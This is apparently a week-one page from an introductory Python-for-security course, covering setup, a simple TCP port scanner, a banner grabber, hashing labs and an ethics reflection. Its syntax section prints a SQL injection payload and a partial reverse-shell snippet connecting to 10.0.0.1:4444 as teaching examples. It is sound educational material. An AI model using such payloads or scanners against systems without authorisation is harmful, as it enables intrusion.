Building on Prior Knowledge
This is your introduction to programming for security. Zero coding experience required—we start from absolute basics.
- CSY101 Week 01: NIST CSF and security principles inform how we automate security workflows
- CSY104 Week 01: Network fundamentals provide context for socket programming and packet analysis
- Looking ahead: Python enables CSY203 (web testing), CSY204 (SIEM automation), CSY301 (threat intel), CSY302 (cloud automation)
Course Inspiration: This course draws from SANS SEC573, Black Hat Python, and industry-leading GitHub repositories like python-for-cybersecurity and awesome-python-security.
1) Why Python Dominates Cybersecurity
The Industry Standard
Walk into any SOC, penetration testing lab, or incident response team—you'll find Python everywhere:
- Offensive Security: Metasploit modules, Impacket, SQLmap, and custom exploits
- Defensive Security: SIEM automation (Splunk, ELK), SOAR platforms, threat intelligence feeds
- Digital Forensics: Volatility Framework, plaso (log2timeline), bulk_extractor automation
- Malware Analysis: Yara rules, sandbox automation, IOC extraction
- Cloud Security: AWS/Azure/GCP automation, infrastructure scanning
Why Python (Not C++, Java, or PowerShell)?
| Feature | Python | Alternatives |
|---|---|---|
| Learning Curve | Hours to productivity | Weeks (C/C++) or Windows-only (PowerShell) |
| Cross-Platform | Linux, Windows, macOS, embedded | PowerShell (Windows-centric), Bash (Linux/macOS) |
| Libraries | 400,000+ packages (requests, Scapy, pwntools) | Limited security-focused libraries |
| Speed of Development | Prototype exploits in minutes | C: Compile time slows iteration |
Real-World Security Tools Written in Python
- Reconnaissance: theHarvester, SpiderFoot, Sublist3r
- Exploitation: SQLmap, Impacket, pwntools
- Post-Exploitation: PowerSploit (Python generators), LaZagne (credential harvesting)
- Forensics: Volatility (memory analysis), Autopsy modules
- Network: Scapy (packet manipulation), mitmproxy (HTTPS interception)
Bottom Line: If you want to work in cybersecurity, you MUST know Python.
2) Setting Up Your Security Python Environment
Step 1: Operating System Choice
Recommended: Linux (Kali, Ubuntu, or Parrot Security)
Why? Most security tools are Linux-first, and Python integrates seamlessly with UNIX tools.
Options:
- Native Linux: Dual-boot or dedicated machine (best performance)
- WSL2 (Windows): Full Linux kernel on Windows (excellent compatibility)
- Virtual Machine: VirtualBox/VMware with Kali Linux (safest for malware work)
- macOS: Native UNIX environment (works well, fewer security tools)
Step 2: Install Python 3.10+
# Linux (Ubuntu/Debian)
sudo apt update
sudo apt install python3 python3-pip python3-venv python3-dev build-essential
# Verify installation
python3 --version # Should show 3.10 or higher
pip3 --version
# macOS (Homebrew)
brew install python3
# Windows (if not using WSL)
# Download from python.org and check "Add Python to PATH"
Step 3: Virtual Environments (CRITICAL)
Why virtual environments matter:
- Isolate project dependencies (avoid version conflicts)
- Prevent system-wide library pollution
- Enable reproducible security tool deployments
# Create a virtual environment for security projects
cd ~/security-projects
python3 -m venv venv
# Activate (Linux/macOS)
source venv/bin/activate
# Activate (Windows)
venv\Scripts\activate
# When activated, your prompt shows (venv)
# Now pip installs only affect THIS project
# Install packages
pip install requests scapy pycryptodome
# Deactivate when done
deactivate
Step 4: IDE Setup - VS Code (Recommended)
Download from code.visualstudio.com
Essential Extensions:
- Python (by Microsoft) - IntelliSense, debugging
- Pylint - Code quality checks
- Python Debugger - Step-through debugging
- GitLens - Version control visualization
VS Code Debugger Basics:
- Set breakpoints by clicking left of line numbers
- Press F5 to start debugging
- Inspect variables in real-time
- Step through code with F10 (step over) and F11 (step into)
Pro Tip: Learn the debugger NOW. When your exploit fails at 3 AM during a pentest, the debugger will save you.
Step 5: Git for Version Control
# Install git
sudo apt install git # Linux
brew install git # macOS
# Configure
git config --global user.name "Your Name"
git config --global user.email "you@example.com"
# Create a repository for course work
mkdir ~/csy105-labs
cd ~/csy105-labs
git init
echo "# CSY105 Security Python Labs" > README.md
git add README.md
git commit -m "Initial commit"
3) Your First Security Script
Example 1: TCP Port Checker
Create port_check.py:
#!/usr/bin/env python3
"""
Simple TCP port checker
Usage: python3 port_check.py scanme.nmap.org 80
"""
import socket
import sys
def check_port(host, port):
"""
Check if a TCP port is open on a given host.
Args:
host (str): Target hostname or IP address
port (int): Port number to check
Returns:
bool: True if port is open, False otherwise
"""
try:
# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2) # 2-second timeout
# Try to connect
result = sock.connect_ex((host, port))
sock.close()
# connect_ex returns 0 if successful
return result == 0
except socket.gaierror:
print(f"Error: Could not resolve hostname {host}")
return False
except Exception as e:
print(f"Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 port_check.py ")
sys.exit(1)
target_host = sys.argv[1]
target_port = int(sys.argv[2])
print(f"Checking {target_host}:{target_port}...")
if check_port(target_host, target_port):
print(f"[+] Port {target_port} is OPEN")
else:
print(f"[-] Port {target_port} is CLOSED")
Run it:
python3 port_check.py scanme.nmap.org 80
python3 port_check.py scanme.nmap.org 12345 # Should be closed
Breaking Down the Code
#!/usr/bin/env python3- Shebang: tells Linux this is a Python script"""docstring"""- Documentation explaining what the script doesimport socket, sys- Load required modulesdef check_port(...)- Function definition with type hintssocket.socket(AF_INET, SOCK_STREAM)- Create IPv4 TCP socketsock.settimeout(2)- Don't wait forever if host is downsock.connect_ex((host, port))- Try connection, return error codeif __name__ == "__main__":- Only run this if script is executed directlysys.argv- Command-line arguments (argv[0] is script name)
Example 2: Multi-Port Scanner
Create multi_port_scan.py:
#!/usr/bin/env python3
"""
Multi-port TCP scanner
Scans a range of ports on a target host
"""
import socket
import sys
def scan_port(host, port):
"""Check if a single port is open."""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((host, port))
sock.close()
return result == 0
except:
return False
def scan_host(host, ports):
"""
Scan multiple ports on a host.
Args:
host (str): Target host
ports (list): List of port numbers to scan
Returns:
dict: Dictionary with port numbers as keys, bool as values
"""
results = {}
print(f"Scanning {host} for {len(ports)} ports...\n")
for port in ports:
is_open = scan_port(host, port)
results[port] = is_open
if is_open:
print(f"[+] Port {port:5d} - OPEN")
else:
print(f"[-] Port {port:5d} - CLOSED")
return results
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 multi_port_scan.py [port1 port2 ...]")
print("Example: python3 multi_port_scan.py scanme.nmap.org 21 22 23 80 443")
sys.exit(1)
target = sys.argv[1]
# If ports specified, use them; otherwise use common ports
if len(sys.argv) > 2:
ports_to_scan = [int(p) for p in sys.argv[2:]]
else:
# Default: scan common ports
ports_to_scan = [21, 22, 23, 25, 80, 443, 3389, 8080]
results = scan_host(target, ports_to_scan)
# Summary
open_ports = [p for p, is_open in results.items() if is_open]
print(f"\n[*] Scan complete!")
print(f"[*] Open ports: {open_ports if open_ports else 'None'}")
Test it:
# Scan specific ports
python3 multi_port_scan.py scanme.nmap.org 80 443 8080
# Scan with default common ports
python3 multi_port_scan.py scanme.nmap.org
4) Python Syntax Essentials for Security
Variables and Types
# Variables (dynamically typed)
target = "192.168.1.1"
port = 443
is_vulnerable = True
cvss_score = 7.5
# Type checking (useful for validation)
print(type(target)) #
print(type(port)) #
print(isinstance(port, int)) # True
# Type conversion
port_str = str(port) # "443"
port_int = int("8080") # 8080
# Common security-related types
hosts = ["10.0.0.1", "10.0.0.2"] # list
scan_results = {"10.0.0.1": [80, 443]} # dict
protocols = ("TCP", "UDP") # tuple (immutable)
String Manipulation (Critical for Security)
# Strings are everywhere: logs, payloads, responses
log = "2024-01-18 Failed login from 10.0.0.5"
# Checking content
if "Failed login" in log:
print("Security event detected")
# Splitting
parts = log.split(" from ")
ip_address = parts[1] # "10.0.0.5"
# Formatting
payload = f"' OR '1'='1"
query = f"SELECT * FROM users WHERE username='{payload}'"
print(query) # SQL injection payload
# String methods
upper = "admin".upper() # "ADMIN"
lower = "ADMIN".lower() # "admin"
stripped = " user ".strip() # "user"
# Multiline strings (for exploit code, scripts)
reverse_shell = """
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",4444))
"""
Control Flow
# If statements
cvss = 9.0
if cvss >= 9.0:
severity = "CRITICAL"
elif cvss >= 7.0:
severity = "HIGH"
elif cvss >= 4.0:
severity = "MEDIUM"
else:
severity = "LOW"
# For loops (scanning, brute-forcing)
ports = [21, 22, 23, 80, 443]
for port in ports:
print(f"Scanning port {port}...")
# Range (generating port numbers)
for port in range(1, 1025): # Scan ports 1-1024
pass # (scan logic here)
# While loops (retry logic)
attempts = 0
max_attempts = 3
while attempts < max_attempts:
# Try connection
attempts += 1
Functions and Modules
# Function definition
def banner_grab(host, port):
"""
Grab service banner from a port.
Returns:
str: Banner text or None if failed
"""
try:
sock = socket.socket()
sock.settimeout(2)
sock.connect((host, port))
banner = sock.recv(1024).decode().strip()
sock.close()
return banner
except:
return None
# Using the function
banner = banner_grab("scanme.nmap.org", 22)
if banner:
print(f"Banner: {banner}")
# Importing modules
import socket
from socket import AF_INET, SOCK_STREAM # Specific imports
# Your own modules
# If you have utils.py in same directory:
# import utils
# utils.scan_port("192.168.1.1", 80)
5) Understanding Python's Security Ecosystem
The Python Package Index (PyPI)
PyPI hosts 400,000+ packages. Security-relevant categories:
- Networking: requests, urllib3, socket (built-in), asyncio
- Packet Manipulation: Scapy, dpkt, pyshark
- Cryptography: cryptography, pycryptodome, hashlib (built-in)
- Web: requests, BeautifulSoup4, Selenium
- Forensics: volatility3, pefile, yara-python
- Exploitation: pwntools, impacket, Ropper
Installing Packages Safely
# Always use virtual environments
python3 -m venv venv
source venv/bin/activate
# Install a package
pip install requests
# Install specific version (for reproducibility)
pip install requests==2.31.0
# Install from requirements.txt
echo "requests==2.31.0" > requirements.txt
echo "scapy==2.5.0" >> requirements.txt
pip install -r requirements.txt
# List installed packages
pip list
# Security check (scan for vulnerabilities)
pip install safety
safety check
Security Warning: Only install packages from trusted sources. Typosquatting attacks (e.g., "requets" instead of "requests") can install malware.
Python's Built-in Security Tools
# hashlib - Cryptographic hashing
import hashlib
password = "admin123"
hash_md5 = hashlib.md5(password.encode()).hexdigest()
hash_sha256 = hashlib.sha256(password.encode()).hexdigest()
print(f"MD5: {hash_md5}")
print(f"SHA-256: {hash_sha256}")
# secrets - Secure random generation (NOT random module)
import secrets
token = secrets.token_hex(16) # 32 hex characters
password = secrets.token_urlsafe(16) # URL-safe string
# hmac - Message authentication codes
import hmac
key = b"secret_key"
message = b"important data"
signature = hmac.new(key, message, hashlib.sha256).hexdigest()
📝 Lab 1: Environment Setup & First Security Tools
Part 1: Environment Validation (20 minutes)
Objective: Verify your setup is correct before proceeding.
- Install Python 3.10+ and verify:
python3 --version - Install pip and verify:
pip3 --version - Create a project directory:
mkdir ~/csy105-labs && cd ~/csy105-labs - Create a virtual environment:
python3 -m venv venv - Activate it:
source venv/bin/activate - Install test package:
pip install requests - Verify:
python3 -c "import requests; print(requests.__version__)" - Initialize git:
git init - Create .gitignore with
venv/and__pycache__/
Part 2: Port Scanner Enhancement (40 minutes)
Objective: Build on the basic port scanner with real features.
Requirements:
- Create
lab1_scanner.py - Accept target host and port range from command line
- Implement timeout handling (configurable)
- Add progress indicator (e.g., "Scanning port 80/1024...")
- Display elapsed time at completion
- Save results to
scan_results.txt
Example usage:
python3 lab1_scanner.py scanme.nmap.org 1 1024
Expected output:
Scanning scanme.nmap.org ports 1-1024...
[1/1024] Scanning port 1... CLOSED
[2/1024] Scanning port 2... CLOSED
...
[80/1024] Scanning port 80... OPEN
...
[443/1024] Scanning port 443... OPEN
...
Scan complete in 45.23 seconds
Open ports: [22, 80]
Results saved to scan_results.txt
Part 3: Banner Grabber (30 minutes)
Objective: Extract service information from open ports.
Create lab1_banner.py that:
- Takes host and port as arguments
- Connects to the port
- Attempts to receive banner (first 1024 bytes)
- Displays the banner or "No banner received"
- Handles errors gracefully (timeout, connection refused)
Test cases:
python3 lab1_banner.py scanme.nmap.org 22 # SSH banner
python3 lab1_banner.py scanme.nmap.org 80 # HTTP (may need to send GET)
python3 lab1_banner.py scanme.nmap.org 9999 # Should fail gracefully
Part 4: Hash Calculator (20 minutes)
Objective: Build a tool to compute file hashes.
Create lab1_hash.py that:
- Takes a filename as argument
- Computes MD5, SHA-1, and SHA-256 hashes
- Displays results in a clean format
- Handles file not found errors
Example:
python3 lab1_hash.py /etc/passwd
File: /etc/passwd
MD5: d41d8cd98f00b204e9800998ecf8427e
SHA-1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA-256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Success Criteria
You've completed Lab 1 when you can:
- ✅ Create and activate virtual environments
- ✅ Write command-line Python scripts with argument parsing
- ✅ Implement TCP socket connections with error handling
- ✅ Read and write files in Python
- ✅ Use hashlib for cryptographic hashing
- ✅ Debug your code using print statements or VS Code debugger
- ✅ Version control your code with git
📚 Resources & Further Reading
Essential Reading
- Black Hat Python, 2nd Edition - Justin Seitz & Tim Arnold (Chapters 1-2)
- Official Python Tutorial - Sections 1-4
- Socket Programming in Python - Real Python
GitHub Repositories
- python-for-cybersecurity - Comprehensive examples and exercises
- awesome-python-security - Curated security tools
- Pentesting with Python - Security script collection
Practice Platforms
- TryHackMe: Python Basics - Security-focused
- HackerRank Python - Coding challenges
- Cryptopals - Cryptography challenges using Python
Video Resources
- Python for Ethical Hacking - Full course by freeCodeCamp
- Computerphile - Security concepts explained
Week 01 Quiz
Test your understanding of Python fundamentals and the security environment setup.
Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.
Take QuizWeekly Reflection Prompt
Aligned to LO1 (Tool Development) and Professional Ethics
Write 200-300 words answering this prompt:
You've just written your first port scanner—a tool that can identify open services on remote systems. This same capability is used by both defenders (finding vulnerabilities before attackers do) and attackers (reconnaissance before exploitation).
Reflect on the dual-use nature of security tools:
- What distinguishes legitimate security research from malicious hacking?
- Why is authorization (written permission) critical before scanning any system?
- How will you ensure your Python skills are used ethically in your career?
What good looks like: You recognize that technical skills are amoral—their impact depends entirely on intent and authorization. You understand that "white hat" work requires explicit permission, transparency, and responsible disclosure.